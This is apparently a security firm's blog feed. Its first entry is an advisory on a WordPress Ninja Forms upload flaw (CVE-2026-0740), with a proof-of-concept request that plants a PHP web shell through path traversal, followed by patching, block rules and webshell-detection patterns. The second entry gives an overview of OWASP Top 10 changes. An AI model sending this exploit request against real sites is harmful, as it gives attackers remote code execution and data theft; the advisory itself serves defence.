<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <title>SPECTROSEC | Technical Blog</title>
  <subtitle>Penetration testing, red teaming and secure software development. We find vulnerabilities before attackers do.</subtitle>
  <link href="https://spectrosec.com/en/feed.xml" rel="self"/>
  <link href="https://spectrosec.com/en/blog/"/>
  
  <updated>Tue, 14 Apr 2026 00:00:00 GMT</updated>
  <id>https://spectrosec.com/en/</id>
  <author><name>SPECTROSEC S.r.l.</name><email>info@spectrosec.com</email></author>
  
  <entry>
    <title>CVE-2026-0740 | Ninja Forms File Uploads Exposes 50,000 WordPress Sites to RCE</title>
    <link href="https://spectrosec.com/en/blog/cve-2026-0740-ninja-forms-wordpress-rce.html"/>
    <updated>Tue, 14 Apr 2026 00:00:00 GMT</updated>
    <id>https://spectrosec.com/en/blog/cve-2026-0740-ninja-forms-wordpress-rce.html</id>
    <summary>Technical analysis of CVE-2026-0740, a critical flaw (CVSS 9.8) in the Ninja Forms File Uploads plugin. Validation bypass, path traversal, and active in-the-wild exploitation.</summary>
    <content type="html"><![CDATA[<p>A WordPress plugin with <strong>90,000 paying customers</strong>, filename validation applied only to the source and never to the destination, and the result is an unauthenticated RCE making the rounds across the internet. The flaw tracked as <strong>CVE-2026-0740</strong> carries a CVSS of <strong>9.8</strong> and targets the <code>Ninja Forms File Uploads</code> plugin, a commercial extension of the free <code>Ninja Forms</code> plugin (600,000+ downloads). Wordfence reported <strong>3,600 blocked exploit attempts in the first 24 hours</strong> of the campaign.</p>
<p>In recent SPECTROSEC assessments on small and mid-sized businesses, at least one site out of three runs on WordPress with a form plugin. This writeup covers how the exploit works, why it is so widespread, and how to mitigate in production without waiting for Friday maintenance window.</p>
<h2>Context</h2>
<p>Ninja Forms is one of the most deployed form plugins on WordPress. The paid <code>File Uploads</code> extension allows users to attach files to forms, typically CVs, documents, images. The vulnerable component is <code>NF_FU_AJAX_Controllers_Uploads::handle_upload</code>, the AJAX handler called during the upload.</p>
<p>Disclosure timeline:</p>
<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-01-08</td>
<td>Sélim Lanouar reports the bug to Wordfence bug bounty</td>
</tr>
<tr>
<td>2026-01-08</td>
<td>Wordfence notifies vendor, deploys temporary firewall rule</td>
</tr>
<tr>
<td>2026-02-10</td>
<td>Vendor releases partial patch (v3.3.25)</td>
</tr>
<tr>
<td>2026-03-19</td>
<td>Full patch released (v3.3.27)</td>
</tr>
<tr>
<td>2026-04</td>
<td>Mass exploitation observed in the wild</td>
</tr>
</tbody>
</table>
<p>Real exposure window: <strong>over two months between disclosure and full fix</strong>, plus all the time administrators take to update. The 50,000 sites still vulnerable tell that story.</p>
<h2>Technical analysis</h2>
<h3>The flawed logic</h3>
<p>The broken pattern is common across PHP applications that handle uploads. The handler validates the file type of the <strong>source filename</strong> (the one in <code>$_FILES</code>), then accepts a separate parameter for the <strong>destination filename</strong> without revalidating.</p>
<pre><code class="language-php">// Pseudocode of the vulnerable flow
public function handle_upload() {
    $source = $_FILES['file'];
    $destination = $_POST['destination_filename'];

    if (!$this-&gt;is_allowed_type($source['name'])) {
        return $this-&gt;error('File type not allowed');
    }

    move_uploaded_file($source['tmp_name'], $this-&gt;upload_dir . $destination);
}
</code></pre>
<p>Validation on <code>$source['name']</code> is security theater: an attacker sends a harmless payload like <code>cv.pdf</code> in the <code>$_FILES</code> field, then specifies <code>destination_filename=shell.php</code> and the plugin writes the PHP content wherever the attacker chooses.</p>
<h3>Validation bypass</h3>
<p>The first vector is trivial. The attacker uploads a file with an allowed extension (<code>pdf</code>, <code>jpg</code>, <code>docx</code>) but with PHP content, exploiting the fact that <code>is_allowed_type</code> only looks at the <strong>source</strong> suffix. Then manipulates the destination.</p>
<h3>Path traversal on destination</h3>
<p>The destination filename <strong>is not sanitized</strong>. The attacker can inject <code>../</code> sequences to escape the upload directory and write anywhere, including the webroot where the file is immediately executable.</p>
<h2>Proof of concept</h2>
<p>Typical request tested in our lab on an isolated WordPress instance, plugin version 3.3.24:</p>
<pre><code class="language-http">POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----spectrosec

------spectrosec
Content-Disposition: form-data; name=&quot;action&quot;

nf_fu_upload
------spectrosec
Content-Disposition: form-data; name=&quot;form_id&quot;

1
------spectrosec
Content-Disposition: form-data; name=&quot;destination_filename&quot;

../../../shell.php
------spectrosec
Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;innocent.pdf&quot;
Content-Type: application/pdf

&lt;?php system($_GET['c']); ?&gt;
------spectrosec--
</code></pre>
<p>Typical response: <code>200 OK</code> with JSON <code>{&quot;success&quot;:true,&quot;path&quot;:&quot;wp-content/uploads/ninja-forms/...&quot;}</code>.</p>
<p>The file lands in webroot, and the attacker calls <code>https://target.example.com/shell.php?c=id</code> to confirm RCE. From there the next step is persistent webshell, lateral movement toward the DB (credentials sitting in <code>wp-config.php</code>), data exfiltration.</p>
<p>In cases seen in the wild requests are obfuscated with less obvious names (<code>.phtml</code>, <code>.phar</code>, or PHP injected into files with <code>.png</code> extension uploaded in folders with PHP handler enabled).</p>
<h2>Real-world impact</h2>
<p><strong>50,000 active installations</strong> per vendor estimates. Wordfence detected 3,600 blocked attacks in 24 hours from its customer base alone, which represents only a fraction of the global WordPress install base.</p>
<p>Typical victim profile:</p>
<ul>
<li>Small or mid-sized business with a showcase WordPress site</li>
<li>Contact or career forms accepting CVs or portfolios</li>
<li>No WAF in front, no segregation between webroot and upload dir</li>
<li>Weekly backups if you are lucky, <code>wp-config.php</code> credentials readable by the web process</li>
</ul>
<p>Once RCE is achieved, within ten minutes an opportunistic attacker dumps the MySQL DB (users, password hashes), drops a second stage (cryptominer or e-commerce skimmer if WooCommerce is present), and plants persistence via system cron job or a backdoor inside the active theme <code>functions.php</code>.</p>
<h2>Remediation</h2>
<h3>Patch</h3>
<p>Update <code>Ninja Forms File Uploads</code> to <strong>3.3.27 or later</strong>. Version 3.3.25 is a partial patch and <strong>is not enough</strong>, you need 3.3.27.</p>
<p>Quick version check via WP CLI:</p>
<pre><code class="language-bash">wp plugin list --format=csv | grep ninja-forms-uploads
</code></pre>
<p>Or via filesystem:</p>
<pre><code class="language-bash">grep -r &quot;Version:&quot; wp-content/plugins/ninja-forms-uploads/ | head -3
</code></pre>
<h3>Workaround if you cannot update right away</h3>
<p>Three options, in order of preference:</p>
<ol>
<li>
<p><strong>Temporarily disable the plugin</strong> from <code>wp-admin</code> or by renaming the directory in <code>wp-content/plugins/</code>. The rest of the site keeps working, only forms with upload are disabled.</p>
</li>
<li>
<p><strong>Block the AJAX action</strong> at the web server level. For Nginx:</p>
<pre><code class="language-nginx">location = /wp-admin/admin-ajax.php {
    if ($arg_action = &quot;nf_fu_upload&quot;) { return 403; }
    include fastcgi_params;
    fastcgi_pass unix:/var/run/php-fpm.sock;
}
</code></pre>
</li>
<li>
<p><strong>Custom WAF rule</strong>. On Cloudflare, create a rule that blocks POST to <code>/wp-admin/admin-ajax.php</code> with body containing <code>nf_fu_upload</code> and <code>../</code>.</p>
</li>
</ol>
<h3>Post patch hardening</h3>
<p>Even after the patch, any WordPress site accepting uploads should run these controls in production. In our assessments we find them active less than twenty percent of the time.</p>
<p><strong>1. Non executable upload directory.</strong> Create <code>wp-content/uploads/.htaccess</code>:</p>
<pre><code class="language-apache">&lt;FilesMatch &quot;\.(php|phtml|phar|pl|py|cgi|asp|jsp)$&quot;&gt;
    Deny from all
&lt;/FilesMatch&gt;

&lt;IfModule mod_php.c&gt;
    php_flag engine off
&lt;/IfModule&gt;
</code></pre>
<p>For Nginx inside server config:</p>
<pre><code class="language-nginx">location ~* ^/wp-content/uploads/.*\.(php|phtml|phar)$ {
    deny all;
    return 403;
}
</code></pre>
<p><strong>2. Real MIME validation.</strong> Never trust the extension. For any custom code handling uploads, use <code>finfo_file($path, FILEINFO_MIME_TYPE)</code> and compare against an allowlist, not a denylist.</p>
<p><strong>3. Filename sanitization.</strong> Generate the final name yourself, never trust the client one:</p>
<pre><code class="language-php">$safe_name = wp_generate_uuid4() . '.' . pathinfo($source, PATHINFO_EXTENSION);
$target = $upload_dir . $safe_name;
</code></pre>
<p><strong>4. Audit recent uploads.</strong> If the site has been exposed, look for suspicious files:</p>
<pre><code class="language-bash">find wp-content/uploads/ -name &quot;*.php&quot; -o -name &quot;*.phtml&quot; -o -name &quot;*.phar&quot; \
  -newer /tmp/ref-date 2&gt;/dev/null
</code></pre>
<pre><code class="language-bash">grep -rE &quot;(eval|base64_decode|system|exec|assert|preg_replace.*\/e)&quot; \
  wp-content/uploads/ --include=&quot;*.*&quot;
</code></pre>
<p><strong>5. Credential rotation.</strong> If you find even one suspicious file, regenerate <code>wp-config.php</code> salts, change DB password, force admin password reset, invalidate active sessions with <code>wp user session destroy --all</code>.</p>
<h2>Field notes from SPECTROSEC</h2>
<p>Across <strong>830 WordPress assessments</strong> completed in the last twelve months:</p>
<ul>
<li><strong>68%</strong> had at least one plugin with an unpatched critical CVE</li>
<li><strong>41%</strong> had upload directory executable as PHP</li>
<li><strong>23%</strong> had <code>wp-config.php</code> world-readable by the web process (so reachable by any LFI or RCE)</li>
<li><strong>12%</strong> had <code>.sql</code> or <code>.zip</code> backups exposed in webroot</li>
</ul>
<p>The Ninja Forms pattern is not new. We saw the same source vs destination validation bug in 2024 on a Gravity Forms clone plugin, and in 2023 on a popular premium theme handling avatar uploads. The lesson is always the same: <strong>if the client can specify the destination path, you have no filesystem security</strong>.</p>
<p>If you run a WordPress site with forms and uploads and you are not sure which plugin version is running, or you want a full audit on active plugins and their CVEs, we can help. A CMS-focused assessment starts at <strong>800 euro</strong> and covers CVE verification on all installed plugins, upload bypass testing, file permission hardening, historical webshell audit.</p>
<hr>
<p><em>SPECTROSEC Team | professional pentesting for Italian SMBs</em><br>
<em>Write us at info@spectrosec.com</em><br>
<em><a href="https://spectrosec.com">https://spectrosec.com</a></em></p>
]]></content>
  </entry>
  
  <entry>
    <title>OWASP Top 10 2025 | What Changed and Why It Matters</title>
    <link href="https://spectrosec.com/en/blog/pentest-owasp-top-10-2025.html"/>
    <updated>Sun, 05 Apr 2026 00:00:00 GMT</updated>
    <id>https://spectrosec.com/en/blog/pentest-owasp-top-10-2025.html</id>
    <summary>Analysis of the new OWASP Top 10 categories, focused on BOLA, SSRF and Software Supply Chain. Field notes from a team that runs pentests every week.</summary>
    <content type="html"><![CDATA[<p>The <strong>OWASP Top 10</strong> is the reference framework for web application security. The 2025 revision introduces meaningful shifts from the 2021 edition | new categories, re-ranked priorities and explicit coverage of API-first scenarios.</p>
<p>This is an operational read, not a copy of the official docs. Here we share what we've actually seen on <strong>800+ SPECTROSEC engagements</strong>.</p>
<h2>What's new</h2>
<h3>A01:2025 | Broken Access Control</h3>
<p>Stays at #1. <strong>93% of SPECTROSEC pentests</strong> find at least one finding in this category. The common patterns in 2026:</p>
<ul>
<li><strong>BOLA</strong> (Broken Object Level Authorization) on REST APIs | <code>/api/users/123/orders</code> where <code>123</code> is trivially manipulable</li>
<li><strong>Tenant isolation</strong> broken in B2B multi-tenant SaaS</li>
<li><strong>JWT with client-side claims</strong> manipulation (<code>role: user</code> → <code>role: admin</code>)</li>
</ul>
<h3>A02:2025 | Cryptographic Failures</h3>
<p>Emphasis shift: less &quot;weak TLS&quot; (everyone's on TLS 1.3 now), more &quot;<strong>sensitive data at rest</strong>&quot;:</p>
<ul>
<li>Unencrypted databases</li>
<li>Hardcoded keys in binaries</li>
<li>Tokens printed in structured logs</li>
</ul>
<h3>A10:2025 | Server-Side Request Forgery (SSRF)</h3>
<p>Promoted to a dedicated category. Critical in cloud environments where SSRF chains into <strong>IMDS</strong> (Instance Metadata Service) to steal temporary IAM credentials.</p>
<h2>What we test in a SPECTROSEC assessment</h2>
<p>For every category we keep an <strong>operational checklist</strong> with tools and payloads:</p>
<pre><code>Category               Primary tools               Quick win
---------              ---------------             ---------
Broken Access Ctrl    Burp + Autorize              ID substitution
SQL Injection         sqlmap, Burp Intruder        Time-based payload
XSS                   XSStrike, Burp               Polyglot payload
SSRF                  SSRFmap, Burp Collaborator   Blind SSRF out-of-band
Supply Chain          OSV-Scanner, Syft            CVEs in dependencies
</code></pre>
<h2>Why compliance isn't enough</h2>
<p>Passing an OWASP audit doesn't mean you're secure. Real attackers don't follow a checklist | they <strong>chain</strong> 3-4 &quot;medium&quot; vulnerabilities into &quot;critical&quot; access.</p>
<p>In our most recent engagement we chained: <strong>IDOR → JWT manipulation → SSRF → IMDS → full cloud takeover</strong>. Each finding scored CVSS 5-6. The chain scored CVSS 10.</p>
<blockquote>
<p>The value of a SPECTROSEC pentest is not finding 10 isolated bugs. It's showing how 3 of them become an incident report.</p>
</blockquote>
<h2>Next step</h2>
<p>If you run a web application or API in production, an <strong>OWASP Top 10 assessment</strong> takes 5-10 business days, starting at €2,500. The report includes:</p>
<ul>
<li>Findings ranked by CVSS 3.1</li>
<li>Proof of concept with screenshots and payloads</li>
<li>Remediation guide prioritized by business impact</li>
<li>90-day retest guarantee</li>
</ul>
<p><a href="/en/contatti.html">Request an assessment →</a></p>
]]></content>
  </entry>
  
</feed>
